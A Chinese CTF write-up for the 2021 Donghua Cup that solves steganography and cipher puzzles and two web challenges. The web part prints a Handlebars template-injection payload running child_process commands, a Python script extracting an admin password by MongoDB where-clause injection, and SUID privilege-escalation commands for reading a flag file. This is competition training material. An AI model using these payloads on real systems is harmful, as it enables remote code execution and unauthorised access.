2021 东华杯 个人 WriteUp

题目比较脑洞的一个比赛,简单写写wp,队友做出来的就不写了

MISC

checkin

utf7转码即可

project

(我怀疑这题出题人套工控就是为了挣i春秋的工控加钱buff)一个工程文件,看文件应该是kingdom的文件,直接下个组控王打开

图片[1]-2021 东华杯 个人 WriteUp-魔法少女雪殇

然后看半天发现毛也没有。。。注意到文件夹里面有个exe,运行后发现出现了个文件

图片[2]-2021 东华杯 个人 WriteUp-魔法少女雪殇

解压后打开,是个eml邮件,可以通过qq邮箱打开

图片[3]-2021 东华杯 个人 WriteUp-魔法少女雪殇

阴间吓死人

图片直接另存为,010打开,发现最下面区块存在ourserect的特征值,直接解密

直接打开eml文件,发现存在错误编码

图片[4]-2021 东华杯 个人 WriteUp-魔法少女雪殇

猜测是文本可能存在一定隐写,fuzz一波后发现是0宽

图片[5]-2021 东华杯 个人 WriteUp-魔法少女雪殇

最后解密即可获得flag

图片[6]-2021 东华杯 个人 WriteUp-魔法少女雪殇

JumpJumpTiger

exe,逆向没有任何东西,,,,

010打开,发现大量base编码

图片[7]-2021 东华杯 个人 WriteUp-魔法少女雪殇

提取出来,观察

发现开头,奇数连起来是jpg的base编码,偶数是png的编码,

写个脚本就行了

fp = open('C:\\Users\\Snowywar\\Desktop\\h\\1.txt')
jpg = ''
png = ''
data = fp.read()
for i in range(0, len(data), 2):
    jpg += data[i]
    png += data[i+1]
fs = open('C:\\Users\\Snowywar\\Desktop\\h\\jpg.txt', 'w')
fs.write(jpg)
fs = open('C:\\Users\\Snowywar\\Desktop\\h\\png.txt', 'w')
fs.write(png)

转成图片,两张看起来一模一样,那就是盲水印了

python3 bwmforpy3.py decode 1.png 2.png flag.png

即可获得flag

图片[8]-2021 东华杯 个人 WriteUp-魔法少女雪殇

where_can_find_code

开局获得一个asc,直接查看可以发现是html,甚至可以改成html

然后是一个炫酷的网站

图片[9]-2021 东华杯 个人 WriteUp-魔法少女雪殇

最右边是一个像凯撒的flag格式,特别符合,进行分析后我这里多次使用对字体文件进行换表,就出现了这种情况

图片[10]-2021 东华杯 个人 WriteUp-魔法少女雪殇

就是直接把flag跟前面dpeb互换了,然后还是不对,卡了半天就去问了出题人

图片[11]-2021 东华杯 个人 WriteUp-魔法少女雪殇

然后vim看了看,我 完 全 理 解 了

直接进行wbstego解密,获得20810842042108421根据标志可以获得是云影密码,

图片[12]-2021 东华杯 个人 WriteUp-魔法少女雪殇

网上抄个脚本

def de_code(c):
    dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
    flag = []
    c2 = [i for i in c.split("0")]
    for i in c2:
        c3 = 0
        for j in i:
            c3 += int(j)
        flag.append(dic[c3 - 1])
    return flag

def encode(plaintext):
    dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
    m = [i for i in plaintext]
    tmp = [];flag = []
    for i in range(len(m)):
        for j in range(len(dic)):
            if m[i] == dic[j]:
                tmp.append(j + 1)
    for i in tmp:
        res = ""
        if i >= 8:
            res += int(i/8)*"8"
        if i%8 >=4:
            res += int(i%8/4)*"4"
        if i%4 >=2:
            res += int(i%4/2)*"2"
        if i%2 >= 1:
            res += int(i%2/1)*"1"
        flag.append(res + "0")
    print ("".join(flag)[:-1])

c = input("输入要解密的数字串:")
print (de_code(c))
m_code = input("请输入要加密的数字串:")
encode(m_code)

继续寻找,关键词

图片[13]-2021 东华杯 个人 WriteUp-魔法少女雪殇

搜索到这个网站http://rumkin.com/tools/cipher/playfair.php

解密一下就出来了

图片[14]-2021 东华杯 个人 WriteUp-魔法少女雪殇

WEB

eznode

代码审计,直接开审

前半段是注入,这不是我弄得,队友直接给我密码了,我直接写后半段了

(队友截图)

图片[15]-2021 东华杯 个人 WriteUp-魔法少女雪殇

登入进去后就是个页面啥也没有,只能看看代码

代码审计的时候注意到一个hbs的库

图片[16]-2021 东华杯 个人 WriteUp-魔法少女雪殇

我记得是出过相关的题目的,应该就是打个模板注入了属于是

图片[17]-2021 东华杯 个人 WriteUp-魔法少女雪殇

参考文章:[XCTF]华为第三场 | Z3ratu1’s blog

参考文章:https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs

图片[18]-2021 东华杯 个人 WriteUp-魔法少女雪殇

然后他有个upload的路由,可以post的方式进行一个文件上传

然后大概就是把这个payload稍作修改就可以进行一个模板注入了

POST /upload HTTP/1.1
Host: eci-2ze7ukn1cc571i4l8ast.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
DNT: 1
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629967107,1630726977; __jsluid_h=fca389fa11cb93c97caf4bd8fa0a1413; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22password%22%3A%228ffd3f76d2488ba7242c43965b66113f%22%7D.GYd9u%2F%2Fy2KJG588mLO2c3eRNs3RHqCJSlHPVc2qFl0k
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------3567234534097887584462
Content-Length: 763

----------------------------3567234534097887584462
Content-Disposition: form-data; name="1"; filename="1111"
Content-Type: image/png

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('cat /flag').toString();"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
----------------------------3567234534097887584462--
图片[19]-2021 东华杯 个人 WriteUp-魔法少女雪殇

成功返回路径,

最后在admin页面post方式传参返回访问就行了

图片[20]-2021 东华杯 个人 WriteUp-魔法少女雪殇

OldLibrary

最近刚好在学go语言,这道题很适合来练练手

源码,go语言,直接审计

图片[21]-2021 东华杯 个人 WriteUp-魔法少女雪殇

此处存在一个/bin/bash,可以进行一个命令注入,但是有限制。。。

跟一下login的路由

图片[22]-2021 东华杯 个人 WriteUp-魔法少女雪殇

发现此处存在一个where表达式的注入,注他妈的

import requests


password = ''

proxies = {
    'http': 'http://127.0.0.1:8080',
}

target = "http://eci-2zedl4uaigfcz3gfgalw.cloudeci1.ichunqiu.com:8888/signin"
for j in range(0, 50):
    for i in range(1, 96):
        char = chr(35+i)
        payload = {
            "username": f"admin' || this.password[{j}] == '{char}')return true; else if ('a' == 'b",
            "password": "123"
        }
        r = requests.post(target, data=payload)
        if ("Are You Kidding" in r.text):
            password+=char
            break
    print(password)

注出密码后登录,源码可以知道用户名是administrator,只需要登陆就行了

在makepdf中,将html渲染成pdf,所以可以利用xss来打一手ssrf

图片[23]-2021 东华杯 个人 WriteUp-魔法少女雪殇

(这里放截图的原因是我不知道为什么我这wordpress一旦写这种带标签的语句就会无法保存,例如这样)

图片[24]-2021 东华杯 个人 WriteUp-魔法少女雪殇

最后反弹shell,发现没有权限。。。suid提权打一下就差不多了,应该好多人都卡这里,俺也一样

Linux SUID 提权 | Str3am’s Blog (jlkl.github.io)

find / -perm -u=s -type f 2>/dev/null #查找系统上运行的所有SUID可执行文件
comm /flagggisshere /dev/null 2> /dev/null

© 版权声明
THE END
喜欢就支持一下吧
点赞4 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情

    暂无评论内容